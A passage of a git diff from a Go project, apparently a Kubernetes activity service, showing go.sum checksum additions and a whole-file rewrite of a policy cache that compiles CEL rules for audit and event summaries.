h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc= +golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg= +golang.org/x/tools/go/expect v0.1.1-deprecated h1:jpBZDwmgPhXsKZC6WhL20P4b/wmnpsEAGHaNy0n/rJM= +golang.org/x/tools/go/expect v0.1.1-deprecated/go.mod h1:eihoPOH+FgIqa3FpoTwguz/bVUSGBlGQU67vpBeOrBY= +golang.org/x/tools/go/packages/packagestest v0.1.1-deprecated h1:1h2MnaIAIXISqTFKdENegdpAgUXz6NrPEsbIeWaBRvM= +golang.org/x/tools/go/packages/packagestest v0.1.1-deprecated/go.mod h1:RVAQXBGNv1ib0J382/DPCRS/BPnsGebyM1Gj5VSDpG8= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +gomodules.xyz/jsonpatch/v2 v2.4.0 h1:Ci3iUJyx9UeRx7CeFN8ARgGbkESwJK+KB9lLcWxY/Zw= +gomodules.xyz/jsonpatch/v2 v2.4.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY= +gonum.org/v1/gonum v0.16.0 h1:5+ul4Swaf3ESvrOnidPp4GZbzf0mxVQpDCYUQE7OJfk= +gonum.org/v1/gonum v0.16.0/go.mod h1:fef3am4MQ93R2HHpKnLk4/Tbh/s0+wqD5nfa6Pnwy4E= +google.golang.org/genproto/googleapis/api v0.0.0-20260319201613-d00831a3d3e7 h1:41r6JMbpzBMen0R/4TZeeAmGXSJC7DftGINUodzTkPI= +google.golang.org/genproto/googleapis/api v0.0.0-20260319201613-d00831a3d3e7/go.mod h1:EIQZ5bFCfRQDV4MhRle7+OgjNtZ6P1PiZBgAKuxXu/Y= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260311181403-84a4fc48630c h1:xgCzyF2LFIO/0X2UAoVRiXKU5Xg6VjToG4i2/ecSswk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20260311181403-84a4fc48630c/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8= +google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE= +google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= +google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= +gopkg.in/evanphx/json-patch.v4 v4.13.0 h1:czT3CmqEaQ1aanPc5SdlgQrrEIb8w/wwCvWWnfEbYzo= +gopkg.in/evanphx/json-patch.v4 v4.13.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M= +gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= +gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= +gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc= +gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +k8s.io/api v0.35.3 h1:pA2fiBc6+N9PDf7SAiluKGEBuScsTzd2uYBkA5RzNWQ= +k8s.io/api v0.35.3/go.mod h1:9Y9tkBcFwKNq2sxwZTQh1Njh9qHl81D0As56tu42GA4= +k8s.io/apiextensions-apiserver v0.35.3 h1:2fQUhEO7P17sijylbdwt0nBdXP0TvHrHj0KeqHD8FiU= +k8s.io/apiextensions-apiserver v0.35.3/go.mod h1:tK4Kz58ykRpwAEkXUb634HD1ZAegEElktz/B3jgETd8= +k8s.io/apimachinery v0.35.3 h1:MeaUwQCV3tjKP4bcwWGgZ/cp/vpsRnQzqO6J6tJyoF8= +k8s.io/apimachinery v0.35.3/go.mod h1:jQCgFZFR1F4Ik7hvr2g84RTJSZegBc8yHgFWKn//hns= +k8s.io/apiserver v0.35.3 h1:D2eIcfJ05hEAEewoSDg+05e0aSRwx8Y4Agvd/wiomUI= +k8s.io/apiserver v0.35.3/go.mod h1:JI0n9bHYzSgIxgIrfe21dbduJ9NHzKJ6RchcsmIKWKY= +k8s.io/cli-runtime v0.35.3 h1:UZq4ipNimtzBmhN7PPKbfAdqo8quK0H0UdGl6qAQnqI= +k8s.io/cli-runtime v0.35.3/go.mod h1:O7MUmCqcKSd5xI+O5X7/pRkB5l0O2NIhOdUVwbHLXu4= +k8s.io/client-go v0.35.3 h1:s1lZbpN4uI6IxeTM2cpdtrwHcSOBML1ODNTCCfsP1pg= +k8s.io/client-go v0.35.3/go.mod h1:RzoXkc0mzpWIDvBrRnD+VlfXP+lRzqQjCmKtiwZ8Q9c= +k8s.io/code-generator v0.35.3 h1:NDGCLkEm6Ho65wTdSe2EgErmmtsrezOPwwOchlNc6FQ= +k8s.io/code-generator v0.35.3/go.mod h1:LAVriRGXQusHQ0Ns64SE1ublSswm1KrK7cXn0GuQETg= +k8s.io/component-base v0.35.3 h1:mbKbzoIMy7JDWS/wqZobYW1JDVRn/RKRaoMQHP9c4P0= +k8s.io/component-base v0.35.3/go.mod h1:IZ8LEG30kPN4Et5NeC7vjNv5aU73ku5MS15iZyvyMYk= +k8s.io/gengo/v2 v2.0.0-20250922181213-ec3ebc5fd46b h1:gMplByicHV/TJBizHd9aVEsTYoJBnnUAT5MHlTkbjhQ= +k8s.io/gengo/v2 v2.0.0-20250922181213-ec3ebc5fd46b/go.mod h1:CgujABENc3KuTrcsdpGmrrASjtQsWCT7R99mEV4U/fM= +k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk= +k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE= +k8s.io/klog/v2 v2.140.0 h1:Tf+J3AH7xnUzZyVVXhTgGhEKnFqye14aadWv7bzXdzc= +k8s.io/klog/v2 v2.140.0/go.mod h1:o+/RWfJ6PwpnFn7OyAG3QnO47BFsymfEfrz6XyYSSp0= +k8s.io/kms v0.35.3 h1:jaxr/7dNqcztGldnfCEZg8DegEOnHV6cfoBC2ACMWEg= +k8s.io/kms v0.35.3/go.mod h1:VT+4ekZAdrZDMgShK37vvlyHUVhwI9t/9tvh0AyCWmQ= +k8s.io/kube-openapi v0.0.0-20260319004828-5883c5ee87b9 h1:Sztf7ESG9tAXRW/ACJZjrj5jhdOUqS2KFRQT+CTvu78= +k8s.io/kube-openapi v0.0.0-20260319004828-5883c5ee87b9/go.mod h1:uGBT7iTA6c6MvqUvSXIaYZo9ukscABYi2btjhvgKGZ0= +k8s.io/kube-openapi v0.0.0-20260330154417-16be699c7b31 h1:V+sn9a/1fEYDGwnllCmqXBk8x7obZ+hl869Q3Abumkg= +k8s.io/kube-openapi v0.0.0-20260330154417-16be699c7b31/go.mod h1:uGBT7iTA6c6MvqUvSXIaYZo9ukscABYi2btjhvgKGZ0= +k8s.io/kubectl v0.35.3 h1:1KqSYXk/sodU7VeDvK6atX2kAGUZd2QTeR5K7Hb9r9w= +k8s.io/kubectl v0.35.3/go.mod h1:GPHxZqRe+u/i3gTBoVQHeIyq2NilfNPj9hDWeuN3x5s= +k8s.io/utils v0.0.0-20260319190234-28399d86e0b5 h1:kBawHLSnx/mYHmRnNUf9d4CpjREbeZuxoSGOX/J+aYM= +k8s.io/utils v0.0.0-20260319190234-28399d86e0b5/go.mod h1:xDxuJ0whA3d0I4mf/C4ppKHxXynQ+fxnkmQH0vTHnuk= +sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 h1:jpcvIRr3GLoUoEKRkHKSmGjxb6lWwrBlJsXc+eUYQHM= +sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2/go.mod h1:Ve9uj1L+deCXFrPOk1LpFXqTg7LCFzFso6PA48q/XZw= +sigs.k8s.io/controller-runtime v0.23.3 h1:VjB/vhoPoA9l1kEKZHBMnQF33tdCLQKJtydy4iqwZ80= +sigs.k8s.io/controller-runtime v0.23.3/go.mod h1:B6COOxKptp+YaUT5q4l6LqUJTRpizbgf9KSRNdQGns0= +sigs.k8s.io/controller-tools v0.20.1 h1:gkfMt9YodI0K85oT8rVi80NTXO/kDmabKR5Ajn5GYxs= +sigs.k8s.io/controller-tools v0.20.1/go.mod h1:b4qPmjGU3iZwqn34alUU5tILhNa9+VXK+J3QV0fT/uU= +sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5EXP7sU1kvOlxwZh5txg= +sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg= +sigs.k8s.io/kustomize/api v0.20.1 h1:iWP1Ydh3/lmldBnH/S5RXgT98vWYMaTUL1ADcr+Sv7I= +sigs.k8s.io/kustomize/api v0.20.1/go.mod h1:t6hUFxO+Ph0VxIk1sKp1WS0dOjbPCtLJ4p8aADLwqjM= +sigs.k8s.io/kustomize/kyaml v0.20.1 h1:PCMnA2mrVbRP3NIB6v9kYCAc38uvFLVs8j/CD567A78= +sigs.k8s.io/kustomize/kyaml v0.20.1/go.mod h1:0EmkQHRUsJxY8Ug9Niig1pUMSCGHxQ5RklbpV/Ri6po= +sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU= +sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY= +sigs.k8s.io/structured-merge-diff/v6 v6.3.2 h1:kwVWMx5yS1CrnFWA/2QHyRVJ8jM6dBA80uLmm0wJkk8= +sigs.k8s.io/structured-merge-diff/v6 v6.3.2/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= +sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= +sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= diff --git a/internal/activityprocessor/policycache.go b/internal/activityprocessor/policycache.go index 8de25fd1..79866cd8 100644 --- a/internal/activityprocessor/policycache.go +++ b/internal/activityprocessor/policycache.go @@ -1,562 +1,562 @@ -package activityprocessor - -import ( - "encoding/json" - "fmt" - "regexp" - "strings" - "sync" - - "github.com/google/cel-go/cel" - auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" - "k8s.io/klog/v2" - - internalcel "go.miloapis.com/activity/internal/cel" - "go.miloapis.com/activity/internal/processor" - "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" -) - -// summaryTemplateRegex matches {{ expression }} patterns in summary templates. -var summaryTemplateRegex = regexp.MustCompile(`\{\{\s*(.+?)\s*\}\}`) - -// CompiledRule represents a pre-compiled policy rule ready for execution. -type CompiledRule struct { - // Match is the original match expression. - Match string - // Summary is the original summary template. - Summary string - // MatchProgram is the pre-compiled CEL program for match evaluation. - MatchProgram cel.Program - // SummaryTemplates contains pre-compiled CEL programs for each template expression. - SummaryTemplates []compiledTemplate - // Valid indicates if the rule compiled successfully. - Valid bool - // CompileError holds any error from compilation. - CompileError string -} - -// compiledTemplate represents a single {{ expression }} in a summary template. -type compiledTemplate struct { - // FullMatch is the original {{ expression }} string - FullMatch string - // Expression is the CEL expression without {{ }} - Expression string - // Program is the pre-compiled CEL program - Program cel.Program -} - -// CompiledPolicy represents a pre-compiled ActivityPolicy ready for execution. -type CompiledPolicy struct { - // Name is the policy name. - Name string - // APIGroup is the target resource's API group. - APIGroup string - // Kind is the target resource's kind. - Kind string - // Resource is the plural resource name (for audit event matching). - Resource string - // AuditRules are the compiled audit rules. - AuditRules []CompiledRule - // EventRules are the compiled event rules. - EventRules []CompiledRule - // ResourceVersion is the policy's resource version for cache invalidation. - ResourceVersion string - // OriginalPolicy is the original policy for metrics and logging. - OriginalPolicy *v1alpha1.ActivityPolicy -} - -// PolicyCache provides thread-safe caching of pre-compiled ActivityPolicy resources. -type PolicyCache struct { - mu sync.RWMutex - - // policies stores compiled policies indexed by apiGroup/resource (plural) - // Multiple policies can target the same resource. - policies map[string][]*CompiledPolicy - - // policiesByKind stores compiled policies indexed by apiGroup/kind - // for event lookups since events use Kind not Resource. - policiesByKind map[string][]*CompiledPolicy -} - -// NewPolicyCache creates a new policy cache. -func NewPolicyCache() *PolicyCache { - return &PolicyCache{ - policies: make(map[string][]*CompiledPolicy), - policiesByKind: make(map[string][]*CompiledPolicy), - } -} - -// Add compiles and adds a policy to the cache. -func (c *PolicyCache) Add(policy *v1alpha1.ActivityPolicy, resource string) error { - compiled, err := c.compile(policy, resource) - if err != nil { - return err - } - - c.mu.Lock() - defer c.mu.Unlock() - - // Index by apiGroup/resource for audit lookups - key := policyKey(policy.Spec.Resource.APIGroup, resource) - c.policies[key] = append(c.policies[key], compiled) - - // Index by apiGroup/kind for event lookups - kindKey := policyKey(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) - c.policiesByKind[kindKey] = append(c.policiesByKind[kindKey], compiled) - - klog.V(2).InfoS("Added compiled policy to cache", - "policy", policy.Name, - "key", key, - "kindKey", kindKey, - "auditRules", len(compiled.AuditRules), - "eventRules", len(compiled.EventRules), - ) - - return nil -} - -// Update removes the old policy and adds the new one. -func (c *PolicyCache) Update(oldPolicy, newPolicy *v1alpha1.ActivityPolicy, oldResource, newResource string) error { - c.mu.Lock() - defer c.mu.Unlock() - - // Remove old policy from both indexes - oldKey := policyKey(oldPolicy.Spec.Resource.APIGroup, oldResource) - c.removeLocked(oldKey, oldPolicy.Name) - oldKindKey := policyKey(oldPolicy.Spec.Resource.APIGroup, oldPolicy.Spec.Resource.Kind) - c.removeKindLocked(oldKindKey, oldPolicy.Name) - - // Compile and add new policy - compiled, err := c.compile(newPolicy, newResource) - if err != nil { - return err - } - - newKey := policyKey(newPolicy.Spec.Resource.APIGroup, newResource) - c.policies[newKey] = append(c.policies[newKey], compiled) - - newKindKey := policyKey(newPolicy.Spec.Resource.APIGroup, newPolicy.Spec.Resource.Kind) - c.policiesByKind[newKindKey] = append(c.policiesByKind[newKindKey], compiled) - - klog.V(2).InfoS("Updated compiled policy in cache", - "policy", newPolicy.Name, - "oldKey", oldKey, - "newKey", newKey, - "oldKindKey", oldKindKey, - "newKindKey", newKindKey, - ) - - return nil -} - -// Remove removes a policy from the cache. -func (c *PolicyCache) Remove(policy *v1alpha1.ActivityPolicy, resource string) { - c.mu.Lock() - defer c.mu.Unlock() - - key := policyKey(policy.Spec.Resource.APIGroup, resource) - c.removeLocked(key, policy.Name) - - kindKey := policyKey(policy.Spec.Resource.APIGroup, policy.Spec.Resource.Kind) - c.removeKindLocked(kindKey, policy.Name) - - klog.V(2).InfoS("Removed policy from cache", "policy", policy.Name, "key", key, "kindKey", kindKey) -} - -// removeLocked removes a policy by name from a key. Caller must hold the lock. -func (c *PolicyCache) removeLocked(key, policyName string) { - policies := c.policies[key] - for i, p := range policies { - if p.Name == policyName { - // O(1) removal: swap with last element and truncate. - policies[i] = policies[len(policies)-1] - c.policies[key] = policies[:len(policies)-1] - break - } - } - if len(c.policies[key]) == 0 { - delete(c.policies, key) - } -} - -// removeKindLocked removes a policy by name from the kind index. Caller must hold the lock. -func (c *PolicyCache) removeKindLocked(kindKey, policyName string) { - policies := c.policiesByKind[kindKey] - for i, p := range policies { - if p.Name == policyName { - // O(1) removal: swap with last element and truncate. - policies[i] = policies[len(policies)-1] - c.policiesByKind[kindKey] = policies[:len(policies)-1] - break - } - } - if len(c.policiesByKind[kindKey]) == 0 { - delete(c.policiesByKind, kindKey) - } -} - -// Get returns compiled policies for a given apiGroup and resource. -func (c *PolicyCache) Get(apiGroup, resource string) []*CompiledPolicy { - c.mu.RLock() - defer c.mu.RUnlock() - - key := policyKey(apiGroup, resource) - return c.policies[key] -} - -// GetByKind returns compiled policies for a given apiGroup and kind. -// Used by event processing since events reference Kind not Resource. -func (c *PolicyCache) GetByKind(apiGroup, kind string) []*CompiledPolicy { - c.mu.RLock() - defer c.mu.RUnlock() - - key := policyKey(apiGroup, kind) - return c.policiesByKind[key] -} - -// Len returns the total number of policies in the cache. -func (c *PolicyCache) Len() int { - c.mu.RLock() - defer c.mu.RUnlock() - - count := 0 - for _, policies := range c.policies { - count += len(policies) - } - return count -} - -// compile compiles an ActivityPolicy into a CompiledPolicy. -func (c *PolicyCache) compile(policy *v1alpha1.ActivityPolicy, resource string) (*CompiledPolicy, error) { - compiled := &CompiledPolicy{ - Name: policy.Name, - APIGroup: policy.Spec.Resource.APIGroup, - Kind: policy.Spec.Resource.Kind, - Resource: resource, - ResourceVersion: policy.ResourceVersion, - AuditRules: make([]CompiledRule, len(policy.Spec.AuditRules)), - EventRules: make([]CompiledRule, len(policy.Spec.EventRules)), - OriginalPolicy: policy.DeepCopy(), - } - - // Compile audit rules - for i, rule := range policy.Spec.AuditRules { - compiledRule := c.compileAuditRule(rule, policy.Name, i) - compiled.AuditRules[i] = compiledRule - } - - // Compile event rules - for i, rule := range policy.Spec.EventRules { - compiledRule := c.compileEventRule(rule, policy.Name, i) - compiled.EventRules[i] = compiledRule - } - - return compiled, nil -} - -// compileAuditRule compiles a single audit rule. -func (c *PolicyCache) compileAuditRule(rule v1alpha1.ActivityPolicyRule, policyName string, ruleIndex int) CompiledRule { - compiled := CompiledRule{ - Match: rule.Match, - Summary: rule.Summary, - Valid: true, - } - - // Create audit environment for compilation - env, err := auditEnvironment() - if err != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("failed to create CEL environment: %v", err) - klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - - // Compile match expression - matchAST, issues := env.Compile(rule.Match) - if issues != nil && issues.Err() != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("match: %v", issues.Err()) - klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - - matchProgram, err := env.Program(matchAST) - if err != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("match program: %v", err) - klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - compiled.MatchProgram = matchProgram - - // Compile summary template expressions - templates, err := compileSummaryTemplate(env, rule.Summary) - if err != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("summary: %v", err) - klog.Warningf("Policy %s audit rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - compiled.SummaryTemplates = templates - - return compiled -} - -// compileEventRule compiles a single event rule. -func (c *PolicyCache) compileEventRule(rule v1alpha1.ActivityPolicyRule, policyName string, ruleIndex int) CompiledRule { - compiled := CompiledRule{ - Match: rule.Match, - Summary: rule.Summary, - Valid: true, - } - - // Create event environment for compilation - env, err := eventEnvironment() - if err != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("failed to create CEL environment: %v", err) - klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - - // Compile match expression - matchAST, issues := env.Compile(rule.Match) - if issues != nil && issues.Err() != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("match: %v", issues.Err()) - klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - - matchProgram, err := env.Program(matchAST) - if err != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("match program: %v", err) - klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - compiled.MatchProgram = matchProgram - - // Compile summary template expressions - templates, err := compileSummaryTemplate(env, rule.Summary) - if err != nil { - compiled.Valid = false - compiled.CompileError = fmt.Sprintf("summary: %v", err) - klog.Warningf("Policy %s event rule %d: %s", policyName, ruleIndex, compiled.CompileError) - return compiled - } - compiled.SummaryTemplates = templates - - return compiled -} - -// compileSummaryTemplate compiles all {{ expression }} blocks in a summary template. -func compileSummaryTemplate(env *cel.Env, template string) ([]compiledTemplate, error) { - matches := summaryTemplateRegex.FindAllStringSubmatch(template, -1) - if len(matches) == 0 { - return nil, nil - } - - templates := make([]compiledTemplate, 0, len(matches)) - for _, match := range matches { - if len(match) < 2 { - continue - } - - expr := strings.TrimSpace(match[1]) - if expr == "" { - return nil, fmt.Errorf("empty expression in template: %s", match[0]) - } - - ast, issues := env.Compile(expr) - if issues != nil && issues.Err() != nil { - return nil, fmt.Errorf("expression '%s': %w", expr, issues.Err()) - } - - prg, err := env.Program(ast) - if err != nil { - return nil, fmt.Errorf("expression '%s': %w", expr, err) - } - - templates = append(templates, compiledTemplate{ - FullMatch: match[0], - Expression: expr, - Program: prg, - }) - } - - return templates, nil -} - -// auditEnvironment creates a CEL environment for audit rule expressions. -// Uses the shared environment from internal/cel package. -func auditEnvironment() (*cel.Env, error) { - return internalcel.NewAuditEnvironment(nil) -} - -// eventEnvironment creates a CEL environment for event rule expressions. -// Uses the shared environment from internal/cel package. -func eventEnvironment() (*cel.Env, error) { - return internalcel.NewEventEnvironment(nil) -} - -// EvaluateAuditRules evaluates audit rules against an audit event using pre-compiled programs. -// Returns the index of the matching rule, the generated summary, and whether a match was found. -func (r *CompiledRule) EvaluateAuditMatch(auditMap map[string]any) (bool, error) { - if !r.Valid || r.MatchProgram == nil { - return false, nil - } - - vars := internalcel.BuildAuditVars(auditMap) - - out, _, err := r.MatchProgram.Eval(vars) - if err != nil { - return false, fmt.Errorf("failed to evaluate match: %w", err) - } - - result, ok := out.Value().(bool) - if !ok { - return false, fmt.Errorf("match expression did not return boolean") - } - - return result, nil -} - -// EvaluateSummary evaluates the summary template using pre-compiled programs. -func (r *CompiledRule) EvaluateSummary(vars map[string]any) (string, error) { - if len(r.SummaryTemplates) == 0 { - return r.Summary, nil - } - - result := r.Summary - for _, tmpl := range r.SummaryTemplates { - out, _, err := tmpl.Program.Eval(vars) - if err != nil { - return "", fmt.Errorf("failed to evaluate summary expression '%s': %w", tmpl.Expression, err) - } - result = strings.Replace(result, tmpl.FullMatch, fmt.Sprintf("%v", out.Value()), 1) - } - - return result, nil -} - -// EvaluateEventMatch evaluates the match expression against a Kubernetes event. -func (r *CompiledRule) EvaluateEventMatch(eventMap map[string]any) (bool, error) { - if !r.Valid || r.MatchProgram == nil { - return false, nil - } - - vars := internalcel.BuildEventVars(eventMap) - - out, _, err := r.MatchProgram.Eval(vars) - if err != nil { - return false, fmt.Errorf("failed to evaluate match: %w", err) - } - - result, ok := out.Value().(bool) - if !ok { - return false, fmt.Errorf("match expression did not return boolean") - } - - return result, nil -} - -// EvaluateCompiledAuditRules evaluates pre-compiled audit rules against an audit event. -// Returns the generated Activity, the matching rule index, and any error. -// Returns (nil, -1, nil) if no rule matched. -func EvaluateCompiledAuditRules( - policy *CompiledPolicy, - auditMap map[string]any, - audit *auditv1.Event, - resolveKind processor.KindResolver, -) (*v1alpha1.Activity, int, error) { - for i := range policy.AuditRules { - rule := &policy.AuditRules[i] - if !rule.Valid { - continue - } - - matched, err := rule.EvaluateAuditMatch(auditMap) - if err != nil { - return nil, i, fmt.Errorf("rule %d match: %w", i, err) - } - - if matched { - // Use the interpreted summary evaluation (not pre-compiled EvaluateSummary) because - // link() calls capture links via a side-channel collector that must be freshly - // created per evaluation. The pre-compiled programs don't support link collection. - summary, links, err := internalcel.EvaluateAuditSummaryMap(rule.Summary, auditMap) - if err != nil { - return nil, i, fmt.Errorf("rule %d summary: %w", i, err) - } - - builder := &processor.ActivityBuilder{ - APIGroup: policy.APIGroup, - Kind: policy.Kind, - } - activity, err := builder.BuildFromAudit(audit, summary, links, resolveKind) - if err != nil { - return nil, i, fmt.Errorf("rule %d build: %w", i, err) - } - - return activity, i, nil - } - } - - return nil, -1, nil -} - -// MatchEvent implements processor.EventPolicyLookup. -// It looks up matching event rules for the given apiGroup/kind and evaluates them -// against the provided event map. Returns the first matching result, or nil if no policy matched. -func (c *PolicyCache) MatchEvent(apiGroup, kind string, eventMap map[string]any) (*processor.MatchedPolicy, error) { - policies := c.GetByKind(apiGroup, kind) - if len(policies) == 0 { - return nil, nil - } - - // First matching policy wins - for _, policy := range policies { - for i := range policy.EventRules { - rule := &policy.EventRules[i] - if !rule.Valid { - continue - } - - // Evaluate match expression - matched, err := rule.EvaluateEventMatch(eventMap) - if err != nil { - eventJSON, _ := json.Marshal(eventMap) - klog.V(2).InfoS("Failed to evaluate event match", - "policy", policy.Name, - "ruleIndex", i, - "error", err, - "eventJSON", truncateString(string(eventJSON), 4096), - ) - continue - } - - if matched { - // Evaluate summary using internalcel.EvaluateEventSummary for proper link collection - summary, links, err := internalcel.EvaluateEventSummary(rule.Summary, eventMap) - if err != nil { - return nil, processor.NewPolicyEvaluationError( - policy.Name, i, - fmt.Errorf("failed to evaluate summary: %w", err), - ) - } - - return &processor.MatchedPolicy{ - PolicyName: policy.Name, - Generation: policy.OriginalPolicy.Generation, - APIGroup: policy.APIGroup, - Kind: policy.Kind, - Summary: summary, - Links: links, - }, nil - } - } - } - - return nil, nil -} +package activityprocessor + +import ( + "encoding/json" + "fmt" + "regexp" + "strings" + "sync" + + "github.com/google/cel-go/cel" + auditv1 "k8s.io/apiserver/pkg/apis/audit/v1" + "k8s.io/klog/v2" + + internalcel "go.miloapis.com/activity/internal/cel" + "go.miloapis.com/activity/internal/processor" + "go.miloapis.com/activity/pkg/apis/activity/v1alpha1" +) + +// summaryTemplateRegex matches {{ expression }} patterns in summary templates. +var summaryTemplateRegex = regexp.MustCompile(`\{\{\s*(.+?)\s*\}\}`) + +// CompiledRule represents a pre-compiled policy rule ready for execution. +type CompiledRule struct { + // Match is the original match expression. + Match string + // Summary is the original summary template. + Summary string + // MatchProgram is the pre-compiled CEL program for match evaluation. + MatchProgram cel.Program + // SummaryTemplates contains pre-compiled CEL programs for each template expression. + SummaryTemplates []compiledTemplate + // Valid indicates if the rule compiled successfully. + Valid bool + // CompileError holds any error from compilation. + CompileError string +} + +// compiledTemplate represents a single {{ expression }} in a summary template. +type compiledTemplate struct { + // FullMatch is the original {{ expression }} string + FullMatch string + // Expression is the CEL expression without {{ }} + Expression string + // Program is the pre-compiled CEL program + Program cel.Program +} + +// CompiledPolicy represents a pre-compiled ActivityPolicy ready for execution. +type CompiledPolicy struct { + // Name is the policy name. + Name string + // APIGroup is the target resource's API group. + APIGroup string + // Kind is the target resource's kind. + Kind string + // Resource is the plural resource name (for audit event matching). + Resource string + // AuditRules are the compiled audit rules. + AuditRules []CompiledRule + // EventRules are the compiled event rules. + EventRules []CompiledRule + // ResourceVersion is the policy's resource 